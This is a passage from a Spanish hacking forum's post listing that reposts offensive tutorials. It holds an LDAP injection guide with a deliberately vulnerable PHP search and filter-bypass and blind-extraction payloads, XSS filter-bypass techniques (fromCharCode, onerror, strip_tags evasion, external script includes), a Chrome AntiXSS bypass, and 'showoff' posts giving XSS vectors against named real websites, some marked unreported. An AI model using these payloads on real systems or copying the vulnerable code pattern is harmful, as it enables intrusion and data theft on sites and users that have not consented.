sn: Linuxin
givenname: Rcarteles
uid: rcart
ou: people
description: gmod
telephonenumber: 65423452345
mail: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
userpassword: NadieMeHaceCaso


dn: uid=Waes,dc=gmod,dc=usuarios,dc=pruebas,dc=com
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
cn: Waltermelon
sn: Galindo Perez
givenname: Waeswaes
uid: waes
ou: people
description: gmod
telephonenumber: 45234523452
mail: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
userpassword: SecretoDeSumario


dn: uid=seth,dc=mod,dc=gmod,dc=usuarios,dc=pruebas,dc=com
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
cn: Rafael
sn: Jimenez Losantos
givenname: Seta
uid: seth
ou: people
description: mod
telephonenumber: 654243555
mail: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
userpassword: FreePornHere


dn: uid=cemasmas,dc=mod,dc=gmod,dc=usuarios,dc=pruebas,dc=com
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
cn: Robustiano
sn: Perez Perez
givenname: C++
uid: cemasmas
ou: people
description: mod
telephonenumber: 64534654663555
mail: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
userpassword: ILOVECPH


dn: uid=aetsu,dc=mod,dc=gmod,dc=usuarios,dc=pruebas,dc=com
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
cn: Vidal
sn: Fernandez Carazzo
givenname: Aetsu
uid: aetsu
ou: people
description: mod
telephonenumber: 44455566
mail: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
userpassword: WifiPowah

La estructura de los árboles que hemos creado es la siguiente:

com
   |_pruebas
           |_usuarios
                    |_admin
                    |         |_vart
                    |         |_rgb
                    |
                    |_gmod
                           |_rcart
                           |_waes
                           |_mod
                                  |_seth
                                  |_cemasmas
                                  |_aetsu

Imaginemos una aplicación web ficticia dentro del foro que permitiese a los moderadores globales acceder a la información personal de los moderadores, pero no a la de aquellos usuarios que poseen un rango superior (admins) o igual (otros gmods). Quizás estoy usando demasiado el ejemplo de los datos de personas, pero esto mismo se puede encontrar aplicado a busquedas en proyectos, ordenadores conectados a una red, impresoras, etc. Siempre acabo hablando de personas porque es la forma, creo, que permite captar los conceptos más fácilmente. Estas técnicas que aquí estoy exponiendo son extrapolables a otros escenarios más suculentos..

   El criterio de esta aplicación ficticia va a ser realizar una búsqueda donde se filtre aquellos resultados a partir del nombre o del apodo de un usuario, y que tengan como descripción el rango de moderador. El filtro quedaría como (&(uid=¿usuario?)(description=mod)(givenname=¿apodo?))

Código: php
echo "
Ejercicio nº5 - Extracción de información
";
$usuario = "cn=Manager,dc=pruebas,dc=com";
$pass = "secret";
$ds = ldap_connect("127.0.0.1");
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
if ($ds){
  $a=ldap_bind($ds, $usuario, $pass);
  if ($a){
   $buscar = "(&(uid=".$_GET['q'].")(description=mod))";
  echo $buscar."";
   $sr = ldap_search($ds, "dc=pruebas, dc=com", "$buscar");
   $info = ldap_get_entries($ds, $sr);
   
        for ($i=0; $i<$info["count"]; $i++) {
          echo "Nombre de la entrada: ". $info[$i]["dn"] ."
";
           echo "Apellidos: ". $info[$i]["sn"][0] ."
";
           echo "Apodo: ". $info[$i]["givenname"][0] ."
";
           echo "Rango: ". $info[$i]["description"][0] ."
";
           echo "Telefono: ". $info[$i]["telephonenumber"][0] ."
";
           echo "Mail:".$info[$i]["mail"][0]."";
     }
} else {
  echo "No autenticado";
  }
}
ldap_close($ds);
?>


Quizás habeis observado que el filtro tiene un orden raro. Esto es debido a que openLDAP tiene la particularidad de que que el filtro tiene que casar perfectamente, por lo que para poder extraer información se debe de poder inyectar en un campo anterior y otro posterior a la condición que se quiere evitar. En cierto modo esto lo hace más seguro, puesto que si sólo puedes inyectar en un campo es poco probable que la inyección funcione. En el resto de servidores LDAP esto no pasa, si se consiguen crear dos filtros, el segundo se ignora, por lo que es más sencillo inyectar. Este caso que es el más común lo veremos luego, aunque sin demos [podeis hacer vuestra propia demo si os instalais otro servidor LDAP].

  En este ejemplo que he visto, para poder ver esa información a la que no tenemos acceso alguno, debemos de utilizar una técnica similar a la empleada para el bypass del login. Debemos de aislar el filtro problemático del resto, incluyendolo dentro de una operación lógica | donde al menos una de las condiciones es verdadera. Como desconocemos, a nivel de usuario, cuales son los atributos por los que se realiza la búsqueda utilizaremos ObjectClass=* para que el ")" que se queda suelto tenga lógica. Por lo tanto una posible forma de escalar privilegios y leer esa información a la que no tenemos acceso podría ser:

index.php?q=vart)(|(ObjectClass=*&g=*)

La búsqueda que realizaría la aplicación quedaría como (&(uid=vart)(|(ObjectClass=*)(description=mod)(givenname=*))) y tendría toda la lógica del mundo. Ahora bien, como he dicho hace un instante únicamente en OpenLDAP es necesario que todo el filtro sea lógico, por lo que siempre necesitaremos dos campos para poder manipular correctamente la petición. Sin embargo en el resto (o en la mayoría) de otros servidores LDAP no existe este problema, puesto que en el caso de que existan dos filtros diferentes en la misma petición sólo se realizará la búsqueda teniendo en cuenta el primer filtro mientras que el resto serán anulados.

   Un ejemplo de esto que acabo de comentar puede ser una aplicación similar a la que propuse anteriormente, teniendo como filtro (&(uid=/Parametro1/)(Description=mod)). Para dividirlo en dos filtros, y que el primero mantenga una condición TRUE podríamos inyectar un vart)(ObjectClass=*))(|(ObjectClass=*, teniendo como resultado: (&(uid=vart)(ObjectClass=*))(|(ObjectClass=*)(Description=mod)).  Mediante éste método hemos conseguido escindir el filtro original en dos partes, de las cuales únicamente la primera [(&(uid=vart)(ObjectClass=*))] será tomada en cuenta, mientras que la segunda (donde teníamos la condición problema) es ignorada

0x07 Blind LDAP Injection

   Al igual que ocurre con las inyecciones SQL, podemos encontrarnos con escenarios donde el filtro de búsqueda que se realiza, o los atributos a los que se aplica, los desconocemos totalmente porque la respuesta que obtenemos desde la aplicación web está acotada entre dos opciones: una cuando todo sea correcto (TRUE) y otra cuando no lo sea (FALSE), y no nos muestra los resultados de la consulta al servidor LDAP. Estaríamos ante un caso de "Blind LDAP Injection", que como ocurre en otros ataques también a ciegas tendremos una respuesta de la web diferente en función de si la sentencia ha sido válida o no, y deberemos de ir deduciendo paulatinamente los datos que nos interesan.


   Imaginemos por ejemplo una web donde tenemos un sistema para comprobar si un nick ha sido registrado previamente por otro usuario. El nick que queremos comprobar es enviado en una petición GET (a través de una URL tipo No tienes permitido ver los links. Registrarse o Entrar a mi cuentanick) a un PHP que incluirá nuestro nick en una consulta de búsqueda a un árbol LDAP. Esta consulta consiste en  (&(cn=nick)(ou=web)). Si el resultado de esta consulta fuese TRUE, es decir devuelve alguna entrada, significaría que ese usuario ya existe y la aplicación web mostraría el mensaje "Nick Registrado, pruebe otro". En el caso contrario, cuando la consulta fuese infructuosa, aparecería el mensaje "Nick libre".

El escenario ya está montado, y tiene todos los ingredientes de un entorno a ciegas: 2 posibles respuestas ("Nick registrado" cuando la consulta devuelva algún valor; "Nick libre" cuando la consulta no devuelva nada) y un campo donde inyectar.  Lo primero sería intentar averiguar cómo escapar de la segunda condición del filtrado para que en realidad se busque lo que nosotros queremos (en caso de OpenLDAP esto no se puede realizar como ya vimos más arriba por la necesidad de dos campos en los que inyectar), asi que procederíamos a trabajar con "*", ObjectClass (es lo más genérico) y paréntesis "( )" hasta que se nos mostrase el mensaje "Nick registrado":

(&(cn=*)( )(ou=web))    => Nick Libre
(&(cn=*)(ObjectClass=* )(ou=web))    => Nick registrado

   De esta forma ya hemos detectado que el filtro debe de ser algo tipo: (&(Atributo1=[Nick que insertamos])(atributo2=Loquesea)(...)). Obsérvese que no indico qué numero de filtros se aplican, ni a qué atributos porque no lo conocemos. El siguiente paso lógico sería liberar las ataduras que nos imponen el resto de filtros que nosotros no podemos manipular, para ello emplearíamos el truco visto más arriba: escindir el filtro en dos, para que el segundo sea ignorado:

(&(cn=*)(ObjectClass=*))(&(ObjectClass=*)(ou=web))   => Nick Registrado

   Una vez que ya hemos "bypasseado" aquello que nos estorbaba podremos ir deduciendo información interesante. Por ejemplo, podríamos realizar una consulta para averiguar qué Organizational units existen a través de la reducción de caracteres vía un pequeño bruteforce dirigido:

/checking.php?query=*)(ou=a*))(&(ObjectClass=*  => Nick Libre
/checking.php?query=*)(ou=b*))(&(ObjectClass=*  => Nick Libre
....
/checking.php?query=*)(ou=f*))(&(ObjectClass=*   => Nick registrado


  Ya sabemos el primer carácter de un subdirectorio, ahora a por el segundo:

/checking.php?query=*)(ou=fa*))(&(ObjectClass=* => Nick Libre
/checking.php?query=*)(ou=fb*))(&(ObjectClass=*  => Nick Libre
...
/checking.php?query=*)(ou=ft*))(&(ObjectClass=*  => Nick registrado

Y así sucesivamente, hasta que averiguásemos el nombre concreto (en este caso era ftp_users), con cada carácter. Para ello podemos elaborar un exploit que nos agilice el proceso.

Autor: The X-C3LL
Fuente: 0verl0ad

Saludos,, Cronos.-
#30
Cursos, manuales y libros / HTTP al Descubierto
Enero 28, 2013, 12:33:37 PM
HTTP al Descubierto

[-------------Index-------------]

0x01: Introducción al protocolo HTTP
  /.0x01 Estructura de HTTP y sus cabeceras
  /.0x02 Metodos HTTP
0x02: Sniffeo y Modificación de Cabeceras
0x03: Inyectando Código
  /.0x03 CRLF Injecton: Descargas Infectadas (Introducción al HTTP Splitting)
  /.0x04 XSS & SQL injections
  /.0x05 PHP injections
0x04: Enumeración a través de HTTP
  /.0x06 Sacar información con OPTIONS
  /.0x07 Banner Grabbing
  /.0x08 Http Fingerprinting
0x05: Contraataques, Evitando la identificación de nuestro servidor
0x06: Ataques con Metodos
  /.0x9 Creacion y Borrado de ficheros (PUT y DELETE)
  /.0x10 Authorization
0x07: Links de interés & Despedida

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Autores: Vengador de las Sombras & Sknight
Fuente:0verl0ad

Saludos,, Cronos.-
#31
ByPass Magic_Quotes_gpc to Xss

Bueno, un poco de tiempo libre después de estudiar para mi examen de literatura me hicieron pensar en los Xss...lo sé es absurdo pero necesitaba introducción...

Bueno resulta que hay veces que uno ve una variable asi:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

que tentador... un buscador... lo primero que pienso yo al ver un buscador es... google... pero aparte... XSS... asi que vamos a intentar explotarlo...

vamos a buscar:

"hola"

si nos aparece el texto exacto estamos hechos... por que de hecho es vulnerable... pero que pasó... miren lo que nos voto...

\"hola\"

entonces lo que se me viene a la mente son dos cosas... hay un filtro... y el filtro puede ser Magic_Quotes_gpc() entonces... vamos a intentar bypassearlo de una manera muy sencilla que si tienen el hackbar todo es mas sencillo pero sino pues miren... esto se bypassea muy facil... podríamos usar:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta"><script>alert("Dr.Neox & Dr.White")</script>

pero no nos va a dejar pes por que hay " nos va a chantar los \ asi que vamos a usar el HACKBAR... ponemos la URL con el boton Load URL luego ponemos Split URL y ya tenemos nuestra variable solita... ahora damos click donde está la variable borraos el contenido de la búsqueda y ponemos el boton XSS luego String.CharCode() luego nos va a saltar un inputbox (una cajita) y escribimos ahí lo que queremos... por ejemplo... en mi caso pondré alert("Dr.Neox & Dr.White")... ahora si... ponemos enter y voila...

String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 68, 114, 46, 78, 101, 111, 120, 32, 38, 32, 68, 114, 46, 87, 104, 105, 116, 101, 34, 41)

ahora en nuestra búsqueda pondremos lo siguiente y estamos listos...

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 68, 114, 46, 78, 101, 111, 120, 32, 38, 32, 68, 114, 46, 87, 104, 105, 116, 101, 34, 41)</script>

y Salto nuestra cajita mágica... hemos bypasseado el filtro...

espero les guste... ya que esto es viejo sin embargo es útil en muchas ocaciones...

resultado total:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 68, 114, 46, 78, 101, 111, 120, 32, 38, 32, 68, 114, 46, 87, 104, 105, 116, 101, 34, 41)</script>

Autor: Dr.White
Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos,, Cronos.-
#32
Primero definamos qué es el bypassing. El bypassing, para cualquier cosa, consiste en poder atravesar alguna medida de seguridad con un objetivo. En nuestro caso, la definición se amolda a "saltar un filtro". El primer tipo de filtro va a ser en los formularios en los cuales sólo te dejan escribir un número determinado de caracteres.

En los inputs, se puede colocar un parámetro el cual defina el máximo número de caracteres que se pueden escribir dentro del input, se trata de maxlength="numero". Si encontrásemos un input al estilo de:

<input type="text" name="input" maxlength="5"/>

No podríamos escribir nada interesante, puesto que únicamente tenemos espacio para escribir 5 letras.... Entonces si pensamos un poco, recordaremos cierta técnica enfocada a modificar un formulario antes de enviarse.... Sí, exacto: es hora de practicar form tampering.

Simplemente debemos de abrir alguna tool que nos permita modificar el código fuente, vamos al formulario en cuestión, y modificamos el maxlength por un número altísimo, por ejemplo:

<input type="text" name="input" maxlength="99999999999999999"/>

Ahora si probamos a escribir en nuestro campo, observaremos que ya sí podemos inyectar código malicioso.


Otro filtro muy común son las magic qoutes. Este filtro se ocupa de adherir una \ a las comillas que pongamos en nuestro código malicioso. Así si intentamos poner algo, "en teoría" modificaría nuestra sentencia haciéndola inservible... Pero sólo en teoría.

El primer consejo que os doy para saltar un filtro, es ver qué bloquea, y despues buscar la forma de no hacer eso que bloquea. Es decir, si no te deja poner comillas, no luches contra ello, evítalo y busca la forma de inyectar sin usar comillas. Un ejemplo sería meter el código malicioso en un .js alojado en un servidor externo, y entonces al hacer la inyección, la hacemos sin comillas:

<script src=No tienes permitido ver los links. Registrarse o Entrar a mi cuenta></script>

Ya tendríamos nuestra bonito XSS explotado. Pero no siempre todo es tan fácil. Las magic quotes también pueden hacer el efecto contrario: que te impidan poner /, ya que le adhieren unas comillas. Estaríamos ante el mismo problema que antes... o incluso peor, puesto que se nos impide cerrar cualquier tipo de tag, ya que recordemos, en HTML es necesario cerrar los tags con .

Bien, no os asusteis, recordad mi consejo: No lucheis, evitad. Pues eso, evitemos tener que cerrar tags. Tenemos que realizar una búsqueda mental de elementos que no necesiten ser cerrados. Elementos como tales no encontraremos, pero..¿ y si os dijera que se puede meter código javascript dentro de un tag ?


Sip, así es. La idea original sería la de ejecutar algún evento "on" asociado a unas sentencias en JavaScript. En nuestro caso, y como ya espuse en otro paper, vamos a proceder a crear un error, y que al producirse el error tenga como respuesta la ejecución de JavaScript. Este elemento "on" es onerror. Tendríamos que poner simplemente onerror=Código Javascript.


Para producir el error vamos a poner un  con una ruta ficticia. Al no poder visualizar la imagen, saltará el consecuente error que ejecutará el código malicioso. Lo que traducido sería:

<img src=. onerror=Alert(/FoS TeaM/)>

La cosa se puede poner más peliaguda aún, si lo que hace el filtro es impedir meter letras a la variable. Me refiero a ciertos filtros que te permiten ejecutar JavaScript, pero que dentro de la sentencia en sí no te dejan usar letras ni caracteres especiales. Para estos casos, podemos transformar nuestro código malicioso en los valores ASCII de los caracteres que lo componen, y despues incrustarlos a través de String.fromCha rCode(codigo ascii).


alert(String.fromCharCode(88,83,83));

Esto provocaría una ventanita de alert con el texto "XSS". Otra forma de saltar estos filtros es poniendo código malicioso en UNICODE, es decir, representando cada caracter con su valor Hexadecimal y añadiéndole a cada uno un % delante.

Y ya por último, otro filtro que sí que nos pone las cosas bien jodidas, la función Strip_Tags . Esta función se encarga de eliminar de una variable todo lo que esté entre < >. Ahora sí que la cosa está dificil, ¿eh?. ¿Qué os tengo dicho? No intentar atravesar, siempre evitar. Y eso haremos.

Que no podemos poner < >, pues no lo ponemos. Si recordamos a los XSS en formularios, para saltarlos había que cerrar Value y a partir de ahí inyectar... Pues ahora vamos a realizar una variante de esta técnica. Si sabemos algo de CSS, podemos recordar que se pueden poner URL en algunos elementos... Entonces si a nuestro input le hacemos esto:


<input type="text" name="input" value="" STYLE="background: url(url con codigo malicioso)">

Habremos conseguido inquistar una sentencia maligna dentro del tag propio de la página.


En muchos blogs te permiten usar ciertos tags permitidos, como o <li> y esas cosas. Ahí igualmente se podría inyectar el código malicioso al meter un <b onload="codigo">. La función Strip_tags no te deja poner tus propios tags, pero sí que te deja poner los que el webmaster haya puesto.

By: The X-C3LL

Saludos,, Cronos.-
#33
La semana durante la cual estaba previsto que se publicase el Reto Hacking Infiltrados tuvimos un momento del pánico. El reto era básicamente un ataque de Session Fixation que se explotaba mediante XSS o HTML Injection, a gusto del consumidor.

Sabíamos que los jugadores tienen más tendencia por los ataques de XSS que por los de HTML Injection, así que el filtro AntiXSS de Internet Explorer 9 iba a dar un poco de guerra a los que pensaban que nosotros habíamos hecho el reto más difícil para IE9, cuando no era para nada así.

Sin embargo, durante la semana previa al comienzo del reto, Google actualizó Chrome a la versión 11... y pico, añadiendo un filtro AntiXSS que hacía que no se pudiera saltar fácilmente el reto tampoco con XSS en Google Chrome.

En un momento de pánico llegamos a pensar que no iba a funcionar tampoco con HTML Injection, pero así si funcionaba. Sin embargo, se ponía igual de complejo saltarlo en Chrome que en IE9 y perdía la gracia de la i. Es decir, si los jugadores se pasaban Firefox y Chrome con XSS y luego no les funcionaba en IE9 iban a tener que pensar dos veces la solución, mientras que si ya daban con ella en Chrome, pasarse IE9 iba a ser trivial.

La noche antes del reto, pensando incluso en cambiar las pruebas a otra cosa, Rodol y Manu dieron con cómo saltarse el filtro AntiXSS de Chrome aprovechando una funcionalidad muy divertida que trae ese navegador, la de completar el código fuente HTML mal escrito.

Supongamos que existe un lugar en el que se puede inyectra código script en la carga de, por ejemplo una imagen, inyectando algo como &tl;img src="noexist" onerror="alert();"/>, Google Chorme reemplazará la inyección original por algo como <img src="noexist" onerror=""> , eliminando la inyección javascript del código y evitando así el ataque XSS.

Sin embargo, Google Chrome tiene una funcionalidad que reescribe el código HTML que no está bien formado, y que puede ser utilizado para saltse el filtro XSS. Supongamos que una página HTML tiene un código en el falta la etiqueta de cierre, entonces Google Chorme escribirá la etiqueta de cierre correspondiente, para dejar un código bien escrito.

Si introducimos algo como <img src="noexist" onerror=alert, Chrome intentará cerrar correctamente la etiqueta, en este caso con un sencillo <html>, es decir, dejando la etiqueta como <img src="noexist" onerror="alert!!!</html">.

Esta funcionalidad puede ser utilizada para saltarse el filtro AntiXSS, haciendo que se convierta en un ataque XSS solo después de que sea modificado por el filtro que reescribe el código, es decir, en ese ejemplo podría hacerse una inyección como <img src="noexist" onerror=alert();//, ya que cuando sea reescrito se convertirá en algo como <img src="noexist" onerror="alert();//!!!</html">, permitiendo saltarse el filtro AntiXSS.

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos,, Cronos.-
#34
Hacking ShowOff / XSS Persistente Rio2016
Enero 26, 2013, 05:12:45 PM


Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Vector: <script>alert('Cronos')</script>
Autor: Cronos
Reportado: No (No fala Portugese xD)
#35
Hacking ShowOff / XSS Hostingred
Enero 26, 2013, 12:12:06 PM




Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Vector: "><script>alert('Cronos')</script>
Autor: Cronos
Reportado: Si
#36
Hacking ShowOff / XSS conexcol
Enero 26, 2013, 11:33:36 AM


Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Vecotr: <script>alert(/Cronos/)</script>
Autor: Cronos
Reportado: Si
#37
Hacking ShowOff / XSS Colombia Hosting
Enero 26, 2013, 10:32:06 AM


Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Vector: <script>alert(/Cronos/)</script>
Autor: Cronos
Reportado: Si
#38
Hacking ShowOff / XSS unlugar.com
Enero 26, 2013, 10:09:15 AM


Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Vector: <script>alert(/Cronos/)</script>
Autor: Cronos
Reportado: Si
#39
Quería saber que opinan sobre lo que dice esta web? Lo veo mucha mentira que ganes plata por hacer eso. Que opinan?
www.homeincomenow2.com
Espero comentarios!
Saludos,, Cronos.-
#40
Hacking ShowOff / XSS Pioneer
Enero 23, 2013, 11:24:32 AM


Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Vector: <script>alert(/Cronos/)</script>

Autos: Cronos

Reportado: No